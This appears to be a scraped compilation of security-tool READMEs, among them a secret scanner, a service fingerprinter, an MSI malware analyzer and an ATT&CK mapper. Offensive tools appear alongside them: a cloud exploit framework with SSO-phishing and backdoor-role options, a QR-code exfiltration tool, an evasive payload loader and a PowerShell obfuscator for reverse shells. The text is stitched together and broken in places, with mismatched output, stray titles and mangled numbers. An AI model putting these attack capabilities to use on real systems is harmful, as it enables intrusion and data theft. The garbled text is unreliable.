Noseyparker - A Command-Line Program That Finds Secrets And Sensitive Information In Textual Data And Git History

Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data. It is useful both for offensive and defensive security testing.

Key features:

• It supports scanning files, directories, and the entire history of Git repositories
• It uses regular expression matching with a set of 95 patterns chosen for high signal-to-noise based on experience and feedback from offensive security engagements
• It groups matches together that share the same secret, further emphasizing signal over noise
• It is fast: it can scan at hundreds of megabytes per second on a single core, and is able to scan 100GB of Linux kernel source history in less than 2 minutes on an older MacBook Pro

This open-source version of Nosey Parker is a reimplementation of the internal version that is regularly used in offensive security engagements at Praetorian. The internal version has additional capabilities for false positive suppression and an alternative machine learning-based detection engine. Read more in blog posts here and here.

Building from source

1. (On x86_64) Install the Hyperscan library and headers for your system

On macOS using Homebrew:

brew install hyperscan pkg-config

On Ubuntu 22.04:

apt install libhyperscan-dev pkg-config

1. (On non-x86_64) Build Vectorscan from source

You will need several dependencies, including cmake, boost, ragel, and pkg-config.

Download and extract the source for the 5.4.8 release of Vectorscan:

wget https://github.com/VectorCamp/vectorscan/archive/refs/tags/vectorscan/5.4.8.tar.gz && tar xfz 5.4.8.tar.gz

Build with cmake:

cd vectorscan-vectorscan-5.4.8 && cmake -B build -DCMAKE_BUILD_TYPE=Release . && cmake --build build

Set the HYPERSCAN_ROOT environment variable so that Nosey Parker builds against your from-source build of Vectorscan:

export HYPERSCAN_ROOT="$PWD/build"

Note: The Nosey Parker Dockerfile builds Vectorscan from source and links against that.

2. Install the Rust toolchain

Recommended approach: install from https://rustup.rs

3. Build using Cargo

cargo build --release

This will produce a binary at target/release/noseyparker.

Docker Usage

A prebuilt Docker image is available for the latest release for x86_64:

docker pull ghcr.io/praetorian-inc/noseyparker:latest

A prebuilt Docker image is available for the most recent commit for x86_64:

docker pull ghcr.io/praetorian-inc/noseyparker:edge

For other architectures (e.g., ARM) you will need to build the Docker image yourself:

docker build -t noseyparker .

Run the Docker image with a mounted volume:

docker run -v "$PWD":/opt/ noseyparker

Note: The Docker image runs noticeably slower than a native binary, particularly on macOS.

Usage quick start

The datastore

Most Nosey Parker commands use a datastore. This is a special directory that Nosey Parker uses to record its findings and maintain its internal state. A datastore will be implicitly created by the scan command if needed. You can also create a datastore explicitly using the datastore init -d PATH command.

Scanning filesystem content for secrets

Nosey Parker has built-in support for scanning files, recursively scanning directories, and scanning the entire history of Git repositories.

For example, if you have a Git clone of CPython locally at cpython.git, you can scan its entire history with the scan command. Nosey Parker will create a new datastore at np.cpython and saves its findings there.

$ noseyparker scan --datastore np.cpython cpython.git
Found 28.30 GiB from 18 plain files and 427,712 blobs from 1 Git repos [00:00:04]
Scanning content  ████████████████████ 100%  28.30 GiB/28.30 GiB  [00:00:53]
Scanned 28.30 GiB from 427,730 blobs in 54 seconds (538.46 MiB/s); 4,904/4,904 new matches

 Rule                      Distinct Groups   Total Matches
───────────────────────────────────────────────────────────
 PEM-Encoded Private Key             1,076           1,1   92
 Generic Secret                        331             478
 netrc Credentials                      42           3,201
 Generic API Key                         2              31
 md5crypt Hash                           1               2

Run the `report` command next to show finding details.

Scanning Git repos by URL, GitHub username, or GitHub organization name

Nosey Parker can also scan Git repos that have not already been cloned to the local filesystem. The --git-url URL, --github-user NAME, and --github-org NAME options to scan allow you to specify repositories of interest.

For example, to scan the Nosey Parker repo itself:

$ noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker

For example, to scan accessible repositories belonging to octocat:

$ noseyparker scan --datastore np.noseyparker --github-user octocat

These input specifiers will use an optional GitHub token if available in the NP_GITHUB_TOKEN environment variable. Providing an access token gives a higher API rate limit and may make additional repositories accessible to you.

See noseyparker help scan for more details.

Summarizing findings

Nosey Parker prints out a summary of its findings when it finishes scanning. You can also run this step separately:

$ noseyparker summarize --datastore np.cpython

 Rule                      Distinct Groups   Total Matches
───────────────────────────────────────────────────────────
 PEM-Encoded Private Key             1,076           1,192
 Generic Secret                        331             478
 netrc Credentials                      42           3,201
 Generic API Key                         2              31
 md5crypt Hash                           1               2

Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option.

Reporting detailed findings

To see details of Nosey Parker's findings, use the report command. This prints out a text-based report designed for human consumption:

$ noseyparker github repos list --user octocat
https://github.com/octocat/Hello-World.git
https://github.com/octocat/Spoon-Knife.git
https://github.com/octocat/boysenberry-repo-1.git
https://github.com/octocat/git-consortium.git
https://github.com/octocat/hello-worId.git
https://github.com/octocat/linguist.git
https://github.com/octocat/octocat.github.io.git
https://github.com/octocat/test-repo1.git

Fingerprintx - Standalone Utility For Service Discovery On Open Ports!

fingerprintx is a utility similar to httpx that also supports fingerprinting services like as RDP, SSH, MySQL, PostgreSQL, Kafka, etc. fingerprintx can be used alongside port scanners like Naabu to fingerprint a set of ports identified during a port scan. For example, an engineer may wish to scan an IP range and then rapidly fingerprint the service running on all the discovered ports.

Features

• Fast fingerprinting of exposed services
• Application layer service discovery
• Plays nicely with other command line tools
• Automatic metadata collection from identified services

Supported Protocols:

Installation

From Github

go install github.com/praetorian-inc/fingerprintx/cmd/fingerprintx@latest

From source (go version > 1.18)

$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx

# with go version > 1.18
$ go build ./cmd/fingerprintx
$ ./fingerprintx -h

Docker

$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx

# build
docker build -t fingerprintx .

# and run it
docker run --rm fingerprintx -h
docker run --rm fingerprintx -t praetorian.com:80 --json

Usage

fingerprintx -h

The -h option will display all of the supported flags for fingerprintx.

Usage:
  fingerprintx [flags]
TARGET SPECIFICATION:
	Requires a host and port number or ip and port number. The port is assumed to be open.
	HOST:PORT or IP:PORT
EXAMPLES:
	fingerprintx -t praetorian.com:80
	fingerprintx -l input-file.txt
	fingerprintx --json -t praetorian.com:80,127.0.0.1:8000

Flags:
      --csv               output format in csv
  -f, --fast              fast mode
  -h, --help              help for fingerprintx
      --json              output format in json
  -l, --list string       input file containing targets
  -o, --output string     output file
  -t, --targets strings   target or comma separated target list
  -w, --timeout int       timeout (milliseconds) (default 500)
  -U, --udp               run UDP plugins
  -v, --verbose           verbose mode

The fast mode will only attempt to fingerprint the default service associated with that port for each target. For example, if praetorian.com:8443 is the input, only the https plugin would be run. If https is not running on praetorian.com:8443, there will be NO output. Why do this? It's a quick way to fingerprint most of the services in a large list of hosts (think the 80/20 rule).

Running Fingerprintx

With one target:

$ fingerprintx -t 127.0.0.1:8000
http://127.0.0.1:8000

By default, the output is in the form: SERVICE://HOST:PORT. To get more detailed service output specify JSON with the --json flag:

$ fingerprintx -t 127.0.0.1:8000 --json
{"ip":"127.0.0.1","port":8000,"service":"http","transport":"tcp","metadata":{"responseHeaders":{"Content-Length":["1154"],"Content-Type":["text/html; charset=utf-8"],"Date":["Mon, 19 Sep 2022 18:23:18 GMT"],"Server":["SimpleHTTP/0.6 Python/3.10.6"]},"status":"200 OK","statusCode":200,"version":"SimpleHTTP/0.6 Python/3.10.6"}}

Pipe in output from another program (like naabu):

$ naabu 127.0.0.1 -silent 2>/dev/null | fingerprintx
http://127.0.0.1:8000
ftp://127.0.0.1:21

Run with an input file:

$ cat input.txt | fingerprintx
http://praetorian.com:80
telnet://telehack.com:23

# or if you prefer
$ fingerprintx -l input.txt
http://praetorian.com:80
telnet://telehack.com:23

With more metadata output:

MSI Dump - A Tool That Analyzes Malicious MSI Installation Packages, Extracts Files, Streams, Binary Data And Incorporates YARA Scanner

MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.

On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we could bring in oletools olevba or oledump.

To dissect malicious MSI files, so far we had only one, but reliable and trustworthy lessmsi. However, lessmsi doesn't implement features I was looking for:

• quick triage
• Binary data extraction
• YARA scanning

Hence this is where msidump comes into play.

Features

This tool helps in quick triages as well as detailed examinations of malicious MSIs corpora. It lets us:

• Quickly determine whether file is suspicious or not.
• List all MSI tables as well as dump specific records
• Extract Binary data, all files from CABs, scripts from CustomActions
• scan all inner data and records with YARA rules
• Uses file/MIME type deduction to determine inner data type

It was created as a companion tool to the blog post I released here:

• MSI Shenanigans. Part 1 - Offensive Capabilities Overview

Limitations

• The program is still in an early alpha version, things are expected to break and triaging/parsing logic to change
• Due to this tool heavy relience on Win32 COM WindowsInstaller.Installer interfaces, currently it is not possible to support native Linux platforms. Maybe wine python msidump.py could help, but haven't tried that yet.

Use Cases

1. Perform quick triage of a suspicious MSI augmented with YARA rule:

cmd> python msidump.py evil.msi -y rules.yara

Here we can see that input MSI is injected with suspicious VBScript and contains numerous executables in it.

2. Now we want to take a closer look at this VBScript by extracting only that record.

We see from the triage table that it was present in Binary table. Lets get him:

python msidump.py putty-backdoored.msi -l binary -i UBXtHArj

We can specify which to record dump either by its name/ID or its index number (here that would be 7).

Lets have a look at another example. This time there is executable stored in Binary table that will be executed during installation:

To extract that file we're gonna go with

python msidump.py evil2.msi -x binary -i lmskBju -O extracted

Where

• -x binary tells to extract contents of Binary table
• -i lmskBju specifies which record exactly to extract
• -O extracted sets output directory

For the best output experience, run the tool on a maximized console window or redirect output to file:

python msidump.py [...] -o analysis.log

Full Usage

PS D:\> python .\msidump.py --help
options:
  -h, --help            show this help message and exit

Required arguments:
  infile                Input MSI file (or directory) for analysis.

Options:
  -q, --quiet           Surpress banner and unnecessary information. In triage mode, will display only verdict.
  -v, --verbose         Verbose mode.
  -d, --debug           Debug mode.
  -N, --nocolor         Dont use colors in text output.
  -n PRINT_LEN, --print-len PRINT_LEN
                        When previewing data - how many bytes to include in preview/hexdump. Default: 128
  -f {text,json,csv}, --format {text,json,csv}
                        Output format: text, json, csv. Default: text
  -o path, --outfile path
                        Redirect program output to this file.
  -m, --mime            When sniffing inner data type, report MIME types

Analysis Modes:
  -l what, --list what  List specific table contents. See help message to learn what can be listed.
  -x what, --extract what
                        Extract data from MSI. For what can be extracted, refer to help message.

Analysis Specific options:
  -i number|name, --record number|name
                        Can be a number or name. In --list mode, specifies which record to dump/display entirely. In --extract mode dumps only this particular record to --outdir
  -O path, --outdir path
                        When --extract mode is used, specifies output location where to extract data.
  -y path, --yara path  Path to YARA rule/directory with rules. YARA will be matched against Binary data, streams and inner files

------------------------------------------------------

- What can be listed:
    --list CustomAction     - Specific table
    --lis   t Registry,File    - List multiple tables
    --list stats            - Print MSI database statistics
    --list all              - All tables and their contents
    --list olestream        - Prints all OLE streams & storages.
                              To display CABs embedded in MSI try: --list _Streams
    --list cabs             - Lists embedded CAB files
    --list binary           - Lists binary data embedded in MSI for its own purposes.
                              That typically includes EXEs, DLLs, VBS/JS scripts, etc

- What can be extracted:
    --extract all           - Extracts Binary data, all files from CABs, scripts from CustomActions
    --extract binary        - Extracts Binary data
    --extract files         - Extracts files
    --extract cabs          - Extracts cabinets
    --extract scripts       - Extrac   ts scripts

------------------------------------------------------

TODO

• Triaging logic is still a bit flakey, I'm not very proud of it. Hence it will be subject for constant redesigns and further ramifications
• Test it on a wider test samples corpora
• Add support for input ZIP archives with passwords
• Add support for ingesting entire directory full of YARA rules instead of working with a single file only
• Currently, the tool matches malicious CustomAction Types based on assessing their numbers, which is prone to being evaded.
  • It needs to be reworked to properly consume Type number and decompose it onto flags

Tool's Name

Apparently when naming my tool, I didn't think on checking whether it was already taken. There is another tool named msidump being part of msitools GNU package:

• msidump

Show Support

This and other projects are outcome of sleepless nights and plenty of hard work. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee (or better a beer) just to say thank you!

Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>

Apk.Sh - Makes Reverse Engineering Android Apps Easier, Automating Some Repetitive Tasks Like Pulling, Decoding, Rebuilding And Patching An APK

apk.sh is a Bash script that makes reverse engineering Android apps easier, automating some repetitive tasks like pulling, decoding, rebuilding and patching an APK.

Features

apk.sh basically uses apktool to disassemble, decode and rebuild resources and some bash to automate the frida gadget injection process. It also supports app bundles/split APKs.

• 
  Patching APKs to load frida-gadget.so on start.
• 
  Support for app bundles/split APKs.
• 
  Disassembling resources to nearly original form with apktool.
• 
  Rebuilding decoded resources back to binary APK/JAR with apktool.
• ️
  Code signing the apk with apksigner.
• ️
  Multiple arch support (arm, arm64, x86, x86_64).
• 
  No rooted Android device needed.

Getting started

apk.sh pull

apk.sh pull pull an APK from a device. It supports app bundles/split APKs, which means that split APKs will be joined in a single APK (this is useful for patching). If the package is an app bundle/split APK, apk.sh will combine the APKs into a single APK, fixing all public resource identifiers.

apk.sh patch

apk.sh patch patch an APK to load frida-gadget.so on start.

frida-gadget.so is a Frida's shared library meant to be loaded by programs to be instrumented (when the Injected mode of operation isn’t suitable). By simply loading the library it will allow you to interact with it using existing Frida-based tools like frida-trace. It also supports a fully autonomous approach where it can run scripts off the filesystem without any outside communication.

Patching an APK is simple as running ./apk.sh patch <apk_name> --arch arm.

You can calso specify a Frida gadget configuration in a json ./apk.sh patch <apk_name> --arch arm --gadget-conf <config.json>



Frida's Gadget configurations

In the default interaction, Frida Gadget exposes a frida-server compatible interface, listening on localhost:27042 by default. In order to achieve early instrumentation Frida let Gadget’s constructor function block until you either attach() to the process, or call resume() after going through the usual spawn() -> attach() -> ...apply instrumentation... steps.

If you don’t want this blocking behavior and want to let the program boot right up, or you’d prefer it listening on a different interface or port, you can customize this through a json configuration file.

The default configuration is:

{
  "interaction": {
    "type": "listen",
    "address": "127.0.0.1",
    "port": 27042,
    "on_port_conflict": "fail",
    "on_load": "wait"
  }
}

You can pass the gadget configuration file to apk.sh with the --gadget-conf option.

Script interaction

A typically suggested configuration might be:

{
  "interaction": {
    "type": "script",
    "path": "/data/local/tmp/script.js",
    "on_change":"reload"
  }
}

script.js could be something like:

var android_log_write = new NativeFunction(
    Module.getExportByName(null, '__android_log_write'),
    'int',
    ['int', 'pointer', 'pointer']
);

var tag = Memory.allocUtf8String("[frida-script][ax]");

var work = function() {
    setTimeout(function() {
        android_log_write(3, tag, Memory.allocUtf8String("ping @ " + Date.now()));
        work();
    }, 1000);
}

work();

android_log_write(3, tag, Memory.allocUtf8String(">--(O.o)-<"));

adb push script.js /data/local/tmp

./apk.sh patch <apk_name> --arch arm --gadget-conf <config.json>

adb install file.gadget.apk

Note

Add the following code to print to logcat the console.log output of any script from the frida codeshare when using the Script interaction type.

// print to logcat the console.log output
// see: https://github.com/frida/frida/issues/382
var android_log_write = new NativeFunction(
    Module.getExportByName(null, '__android_log_write'),
    'int',
    ['int', 'pointer', 'pointer']
);
var tag = Memory.allocUtf8String("[frida-script][ax]");
console.log = function(str) {
    android_log_write(3, tag, Memory.allocUtf8String(str));
}

Requirements

• apktool
• apksigner
• unxz
• zipalign
• aapt
• adb

Usage

SYNOPSIS

apk.sh [SUBCOMMAND] [APK FILE|APK DIR|PKG NAME] [FLAGS]
apk.sh pull [PKG NAME] [FLAGS]
apk.sh decode [APK FILE] [FLAGS]
apk.sh build [APK DIR] [FLAGS]
apk.sh patch [APK FILE] [FLAGS]
apk.sh rename [APK FILE] [PKG NAME] [FLAGS]

SUBCOMMANDS

pull	Pull an apk from device/emulator.
decode	Decode an apk.
build	Re-build an apk.
patch	Patch an apk.
rename	Rename the apk package.

FLAGS

-a, --arch <arch> Specify the target architecture, mandatory when patching.

-g, --gadget-conf <json_file> Specify a frida-gadget configuration file, optional when patching.

-n, --net Add a permissive network security config when building, optional. It can be used with patch, pull and rename also.

-s, --safe Do not decode resources when decoding (i.e. apktool -r). Cannot be used when patching.

-d, --no-dis Do not disassemble dex, optional when decoding (i.e. apktool -s). Cannot be used when patching.



Links of Interest

https://frida.re/docs/gadget/

https://lief-project.github.io/doc/latest/tutorials/09_frida_lief.html

https://koz.io/using-frida-on-android-without-root/

https://github.com/sensepost/objection/

https://github.com/NickstaDB/patch-apk/

https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/frida-scripting-guide

Global Socket 1.4.40

Decider - A Web Application That Assists Network Defenders, Analysts, And Researcher In The Process Of Mapping Adversary Behaviors To The MITRE ATT&CK Framework

What is it?

The Short

A web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK® framework.

The Long

Decider is a tool to help analysts map adversary behavior to the MITRE ATT&CK framework. Decider makes creating ATT&CK mappings easier to get right by walking users through the mapping process. It does so by asking a series of guided questions about adversary activity to help them arrive at the correct tactic, technique, or subtechnique. Decider has a powerful search and filter functionality that enables users to focus on the parts of ATT&CK that are relevant to their analysis. Decider also has a cart functionality that lets users export results to commonly used formats, such as tables and ATT&CK Navigator™ heatmaps.

The Screenshots

Decider's Question Tree

(you are here)[Matrix > Tactic] > Technique > SubTechnique

Decider's Full Technique Search

Boolean expressions, prefix-matching, and stemming included.

The Notice

This project makes use of MITRE ATT&CK - ATT&CK Terms of Use

Usage

Read the User Guide

Installation

Docker

Best option for 99% of people

git clone https://github.com/cisagov/decider.git
cd decider
cp .env.example .env
[sudo] docker compose up

sudo for Linux only

Linux tested on:

• Ubuntu Jammy 22.04.2 LTS
• Docker Engine
  • Not Docker Desktop (couldn't get nested-virt in my VM)

Windows tested on:

• Windows 11 Home, version 22H2, build 22621.1344
• Home doesn't support HyperV
  • Thus tested on Docker Desktop via WSL backend

macOS (M1) tested on:

• macOS Ventura 13.2.1 (22D68)
• Mac M1 Processor
• On Docker Desktop installed via .dmg

It is ready when Starting uWSGI appears

Then visit http://localhost:8001/

(Port is set by .env WEB_PORT)

Default Login:

• Email: admin@admin.com
• Password: admin

And note: Postgres stores its data in a Docker volume to persist the database.

Manual Install

Read the Admin Guide

There are some issues in the instructions... Working on it, simplifying them

Help Tips:

• Use Python 3.8.10 / 3.8.x on Linux / mac
• Follow the order of instructions
• Watch out using sudo with python - it won't keep the venv you're in by default
• If just running for yourself locally:
  • Don't create a system account for decider
  • Don't use uWSGI
  • Use the built-in debug Flask server
• Mac M1 users should install Postgres before installing the pip requirements
  • brew install postgresql
  • Explained: psycopg2-binary isn't using a pre-built binary and tries to compile from scratch, and it can't find pg_config.

ThunderCloud - Cloud Exploit Framework

Cloud Exploit Framework

Usage

python3 tc.py -h

          _______ _                     _            _____ _                 _
         |__   __| |                   | |          / ____| |               | |
            | |  | |__  _   _ _ __   __| | ___ _ __| |    | | ___  _   _  __| |
            | |  | '_ \| | | | '_ \ / _` |/ _ \ '__| |    | |/ _ \| | | |/ _` |
            | |  | | | | |_| | | | | (_| |  __/ |  | |____| | (_) | |_| | (_| |
            \_/  |_| |_|\__,_|_| |_|\__,_|\___|_|   \_____|_|\___/ \__,_|\__,_|


usage: tc.py [-h] [-ce COGNITO_ENDPOINT] [-reg REGION] [-accid AWS_ACCOUNT_ID] [-aws_key AWS_ACCESS_KEY] [-aws_secret AWS_SECRET_KEY] [-bdrole BACKDOOR_ROLE] [-sso SSO_URL] [-enum_roles ENUMERATE_ROLES] [-s3 S3_BUCKET_NAME]
             [-conn_string CONNECTION_STRING] [-blob BLOB] [-shared_access_key SHARED_ACCESS_KEY]

Attack modules of cloud AWS

optional arguments:
  -h, --help            show this help message    and exit
  -ce COGNITO_ENDPOINT, --cognito_endpoint COGNITO_ENDPOINT
                        to verify if cognito endpoint is vulnerable and to extract credentials
  -reg REGION, --region REGION
                        AWS region of the resource
  -accid AWS_ACCOUNT_ID, --aws_account_id AWS_ACCOUNT_ID
                        AWS account of the victim
  -aws_key AWS_ACCESS_KEY, --aws_access_key AWS_ACCESS_KEY
                        AWS access keys of the victim account
  -aws_secret AWS_SECRET_KEY, --aws_secret_key AWS_SECRET_KEY
                        AWS secret key of the victim account
  -bdrole BACKDOOR_ROLE, --backdoor_role BACKDOOR_ROLE
                        Name of the backdoor role in victim role
  -sso SSO_URL, --sso_url SSO_URL
                        AWS SSO URL to phish for AWS credentials
  -enum_roles ENUMERATE_ROLES, --enumerate_roles ENUMERATE_ROLES
                        To enumerate and assume account roles in victim AWS roles
  -s3 S3_BUCKET_NAME, --s3_bucket_name S3_BUCKET_NAME
                        Execute upload attack on S3 bucket
  -conn_string CONNECTION_STRING, --connection_string CONNECTION_STRING
Azure Shared Access key for readingservicebus/queues/blobs etc
  -blob BLOB, --blob BLOB
                        Azure blob enumeration
  -shared_access_key SHARED_ACCESS_KEY, --shared_access_key SHARED_ACCESS_KEY
                        Azure shared key
   

Requirements

* python 3
* pip
* git

Installation

 - get project `git clone https://github.com/Rnalter/ThunderCloud.git && cd ThunderCloud/`   
 - install [virtualenv](https://virtualenv.pypa.io/en/latest/) `pip install virtualenv`
 - create a python 3.6 local enviroment `virtualenv -p python3.6 venv`  
 - activate the virtual enviroment `source venv/bin/activate` 
 - install project dependencies `pip install -r requirements.txt`
 - run the tool via `python tc.py --help`

Running ThunderCloud

Examples

python3 tc.py -sso <sso_url> --region <region>
python3 tc.py -ce <cognito_endpoint> --region <region>

Waf-Bypass - Check Your WAF Before An Attacker Does

WAF bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of community.

How to run

It is forbidden to use for illegal and illegal purposes. Don't break the law. We are not responsible for possible risks associated with the use of this software.

Run from Docker

The latest waf-bypass always available via the Docker Hub. It can be easily pulled via the following command:

# docker pull nemesida/waf-bypass
# docker run nemesida/waf-bypass --host='example.com'

Run source code from GitHub

# git clone https://github.com/nemesida-waf/waf_bypass.git /opt/waf-bypass/
# python3 -m pip install -r /opt/waf-bypass/requirements.txt
# python3 /opt/waf-bypass/main.py --host='example.com'  

Options

• '--proxy' (--proxy='http://proxy.example.com:3128') - option allows to specify where to connect to instead of the host.

• '--header' (--header 'Authorization: Basic YWRtaW46YWRtaW4=' --header 'X-TOKEN: ABCDEF') - option allows to specify the HTTP header to send with all requests (e.g. for authentication). Multiple use is allowed.

• '--user-agent' (--user-agent 'MyUserAgent 1/1') - option allows to specify the HTTP User-Agent to send with all requests, except when the User-Agent is set by the payload ("USER-AGENT").

• '--block-code' (--block-code='403' --block-code='222') - option allows you to specify the HTTP status code to expect when the WAF is blocked. (default is 403). Multiple use is allowed.

• '--threads' (--threads=15) - option allows to specify the number of parallel scan threads (default is 10).

• '--timeout' (--timeout=10) - option allows to specify a request processing timeout in sec. (default is 30).

• '--json-format' - an option that allows you to display the result of the work in JSON format (useful for integrating the tool with security platforms).

• '--details' - display the False Positive and False Negative payloads. Not available in JSON format.

• '--exclude-dir' - exclude the payload's directory (--exclude-dir='SQLi' --exclude-dir='XSS'). Multiple use is allowed.

Payloads

Depending on the purpose, payloads are located in the appropriate folders:

• FP - False Positive payloads
• API - API testing payloads
• CM - Custom HTTP Method payloads
• GraphQL - GraphQL testing payloads
• LDAP - LDAP Injection etc. payloads
• LFI - Local File Include payloads
• MFD - multipart/form-data payloads
• NoSQLi - NoSQL injection payloads
• OR - Open Redirect payloads
• RCE - Remote Code Execution payloads
• RFI - Remote File Inclusion payloads
• SQLi - SQL injection payloads
• SSI - Server-Side Includes payloads
• SSRF - Server-side request forgery payloads
• SSTI - Server-Side Template Injection payloads
• UWA - Unwanted Access payloads
• XSS - Cross-Site Scripting payloads

Write your own payloads

When compiling a payload, the following zones, method and options are used:

• URL - request's path
• ARGS - request's query
• BODY - request's body
• COOKIE - request's cookie
• USER-AGENT - request's user-agent
• REFERER - request's referer
• HEADER - request's header
• METHOD - request's method
• BOUNDARY - specifies the contents of the request's boundary. Applicable only to payloads in the MFD directory.
• ENCODE - specifies the type of payload encoding (Base64, HTML-ENTITY, UTF-16) in addition to the encoding for the payload. Multiple values are indicated with a space (e.g. Base64 UTF-16). Applicable only to for ARGS, BODY, COOKIE and HEADER zone. Not applicable to payloads in API and MFD directories. Not compatible with option JSON.
• JSON - specifies that the request's body should be in JSON format
• BLOCKED - specifies that the request should be blocked (FN testing) or not (FP)

Except for some cases described below, the zones are independent of each other and are tested separately (those if 2 zones are specified - the script will send 2 requests - alternately checking one and the second zone).

For the zones you can use %RND% suffix, which allows you to generate an arbitrary string of 6 letters and numbers. (e.g.: param%RND=my_payload or param=%RND% OR A%RND%B)

You can create your own payloads, to do this, create your own folder on the '/payload/' folder, or place the payload in an existing one (e.g.: '/payload/XSS'). Allowed data format is JSON.

API directory

API testing payloads located in this directory are automatically appended with a header 'Content-Type: application/json'.

MFD directory

For MFD (multipart/form-data) payloads located in this directory, you must specify the BODY (required) and BOUNDARY (optional). If BOUNDARY is not set, it will be generated automatically (in this case, only the payload must be specified for the BODY, without additional data ('... Content-Disposition: form-data; ...').

If a BOUNDARY is specified, then the content of the BODY must be formatted in accordance with the RFC, but this allows for multiple payloads in BODY a separated by BOUNDARY.

Other zones are allowed in this directory (e.g.: URL, ARGS etc.). Regardless of the zone, header 'Content-Type: multipart/form-data; boundary=...' will be added to all requests.

QRExfiltrate - Tool That Allows You To Convert Any Binary File Into A QRcode Movie. The Data Can Then Be Reassembled Visually Allowing Exfiltration Of Data In Air Gapped Systems

This tool is a command line utility that allows you to convert any binary file into a QRcode GIF. The data can then be reassembled visually allowing exfiltration of data in air gapped systems. It was designed as a proof of concept to demonstrate weaknesses in DLP software; that is, the assumption that data will leave the system via email, USB sticks or other media.

The tool works by taking a binary file and converting it into a series of QR codes images. These images are then combined into a GIF file that can be easily reassembled using any standard QR code reader. This allows data to be exfiltrated without detection from most DLP systems.

How to Use

To use QRExfiltrate, open a command line and navigate to the directory containing the QRExfiltrate scripts.

Once you have done this, you can run the following command to convert your binary file into a QRcode GIF:

./encode.sh ./draft-taddei-ech4ent-introduction-00.txt output.gif

Demo

encode.sh <inputfile>

Where <inputfile> is the path to the binary file you wish to convert, and <outputfile>, if no output is specified output.gif used is the path to the desired output GIF file.

Once the command completes, you will have a GIF file containing the data from your binary file.

You can then transfer this GIF file as you wish and reassemble the data using any standard QR code reader.

Prerequisites

QRExfiltrate requires the following prerequisites:

• qrencode
• ffmpeg

Limitations

QRExfiltrate is limited by the size of the source data, qrencoding per frame has been capped to 64 bytes to ensure the resulting image has a uniform size and shape. Additionally the conversion to QR code results in a lot of storage overhead, on average the resulting gif is 50x larger than the original. Finally, QRExfiltrate is limited by the capabilities of the QR code reader. If the reader is not able to detect the QR codes from the GIF, the data will not be able to be reassembled.

The decoder script has been intentionally omitted

Conclusion

QRExfiltrate is a powerful tool that can be used to bypass DLP systems and exfiltrate data in air gapped networks. However, it is important to note that QRExfiltrate should be used with caution and only in situations where the risk of detection is low.

Mimicry - Security Tool For Active Deception In Exploitation And Post-Exploitation

Mimicry is a security tool developed by Chaitin Technology for active deception in exploitation and post-exploitation.

Active deception can live migrate the attacker to the honeypot without awareness. We can achieve a higher security level at a lower cost with Active deception.

English | 中文文档

Demo

️

Quick Start

1. Make sure docker, docker-compose is installed correctly on the machine

docker info
docker-compose version

2. Install honeypot service

docker-compose build
docker-compose up -d

3. Deploy deception tool on other machines

update config.yaml,replace ${honeypot_public_ip} to the public IP of honeypot service

4. Perform Webshell deceiving

./mimicry-tools webshell -c config.yaml -t php -p webshell_path



Advance Usage

️

Contact Us

1. You can make bug feedback and feature suggestions directly through GitHub Issues.
2. You can join the discussion group on Discord .

GRR 3.4.6.7

APCLdr - Payload Loader With Evasion Features

Features:

• no crt functions imported
• indirect syscalls using HellHall
• api hashing using CRC32 hashing algorithm
• payload encryption using rc4 - payload is saved in .rsrc
• Payload injection using APC calls - alertable thread
• Payload execution using APC - alertable thread
• Execution delation using MsgWaitForMultipleObjects - edit this
• the total size is 8kb + the payload size
• compatible with LLVM (clang-cl) Option

Usage:

• Use Builder to update the PayloadFile.pf file, that'll be the encrypted payload to be saved in the .rsrc section of the loader
• Compile as x64 Release

Debugging:

• Change Linker>SubSystem from /SUBSYSTEM:WINDOWS to /SUBSYSTEM:CONSOLE
• Set the loader in debug mode (uncomment this)
• build as release as well

Thanks For:

• https://www.x86matthew.com/view_post?id=writeprocessmemory_apc
• https://github.com/vxunderground/VX-API

Tested with cobalt strike && Havoc on windows 10

PortexAnalyzerGUI - Graphical Interface For PortEx, A Portable Executable And Malware Analysis Library

OpenSSL Toolkit 3.1.0

Invoke-PSObfuscation - An In-Depth Approach To Obfuscating The Individual Components Of A PowerShell Payload Whether You'Re On Windows Or Kali Linux

Traditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often, which essentially introduces chokepoints.

The approach this tool introduces is a methodology where you can target and obfuscate the individual components of a script with randomized variations while achieving the same intended logic, without encapsulating the entire payload within a single layer. Due to the complexity of the obfuscation logic, the resulting payloads will be very difficult to signature and will slip past heuristic engines that are not programmed to emulate the inherited logic.

While this script can obfuscate most payloads successfully on it's own, this project will also serve as a standing framework that I will to use to produce future functions that will utilize this framework to provide dedicated obfuscated payloads, such as one that only produces reverse shells.

I wrote a blog piece for Offensive Security as a precursor into the techniques this tool introduces. Before venturing further, consider giving it a read first: https://www.offensive-security.com/offsec/powershell-obfuscation/

Dedicated Payloads

As part of my on going work with PowerShell obfuscation, I am building out scripts that produce dedicated payloads that utilize this framework. These have helped to save me time and hope you find them useful as well. You can find them within their own folders at the root of this repository.

1. Get-ReverseShell
2. Get-DownloadCradle
3. Get-Shellcode

Components

Like many other programming languages, PowerShell can be broken down into many different components that make up the executable logic. This allows us to defeat signature-based detections with relative ease by changing how we represent individual components within a payload to a form an obscure or unintelligible derivative.

Keep in mind that targeting every component in complex payloads is very instrusive. This tool is built so that you can target the components you want to obfuscate in a controlled manner. I have found that a lot of signatures can be defeated simply by targeting cmdlets, variables and any comments. When using this against complex payloads, such as print nightmare, keep in mind that custom function parameters / variables will also be changed. Always be sure to properly test any resulting payloads and ensure you are aware of any modified named paramters.

